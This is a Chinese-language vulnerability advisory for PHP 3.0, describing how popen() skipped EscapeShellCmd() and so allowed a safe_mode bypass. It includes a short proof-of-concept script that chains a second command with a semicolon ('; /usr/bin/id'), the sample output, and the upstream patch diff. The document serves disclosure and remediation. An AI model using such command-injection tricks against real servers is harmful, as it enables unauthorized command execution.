受影响的系统:  
PHP 3.00  
  
-------------------------------------------------------------------------------- 
  
描述:   
    
    
PHP Version 3.0是一个HTML嵌入式脚本语言
。其大多数语法移植于C、Java和Perl并结合了 
  
PHP的特色
。这个语言可以让web开发者快速创建动态网页。   
   
  
    因其执行在web
服务器上并允许用户执行代码
,PHP内置了称为'safe_mode'的
安全特性
,   
用于控制在允许PHP操作的webroot环境中执行命令。   
   
  
    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd() 
  
函数,此函数用于确认在webroot目录外部不能执行命令。   
   
  
    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可 
  
以利用'popen'系统调用进行非法操作。   
  
  
-------------------------------------------------------------------------------- 
  
测试程序:   
  
  
警 告:以下程序(方法)可能带有攻击性,仅供
安全研究与教学之用。使用者风险自负!   
  
  
<?php 
  
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); 
  
echo "$fp<br>n"; 
  
while($line = fgets($fp, 1024)): 
  
printf("%s<br>n", $line); 
  
endwhile; 
  
pclose($fp); 
  
phpinfo(); 
  
?>   
   
  
输出结果如下:   
   
  
1 
  
total 53  
  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
  
and from the configuration values of phpinfo(): 
  
safe_mode 0 1    
  
-------------------------------------------------------------------------------- 
  
建议:  
  
Index: functions/file.c 
  
=================================================================== 
  
RCS file: /repository/php3/functions/file.c,v 
  
retrieving revision 1.229 
  
retrieving revision 1.230 
  
diff -u -r1.229 -r1.230 
  
--- functions/file.c 2000/01/01 04:31:15 1.229 
  
+++ functions/file.c 2000/01/03 21:31:31 1.230 
  
@@ -26,7 +26,7 @@ 
  
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> | 
  
+----------------------------------------------------------------------+ 
  
*/ 
  
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */ 
  
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */ 
  
#include "php.h" 
  
#include <stdio.h> 
  
@@ -51,6 +51,7 @@ 
  
#include "safe_mode.h" 
  
#include "php3_list.h" 
  
#include "php3_string.h" 
  
+#include "exec.h" 
  
#include "file.h" 
  
#if HAVE_PWD_H 
  
#if MSVC5   
  
@@ -575,7 +576,7 @@ 
  
pval *arg1, *arg2; 
  
FILE *fp; 
  
int id; 
  
- char *p; 
  
+ char *p, *tmp = NULL; 
  
char *b, buf[1024]; 
  
TLS_VARS;   
   
  
@@ -600,7 +601,11 @@ 
  
} else { 
  
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val); 
  
}   
   
  
- fp = popen(buf,p);   
   
  
+ 
  
+ tmp = _php3_escapeshellcmd(buf); 
  
+ fp = popen(tmp,p); 
  
+ efree(tmp); /* temporary copy, no longer necessary */ 
  
+ 
  
if (!fp) { 
  
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno)); 
  
RETURN_FALSE;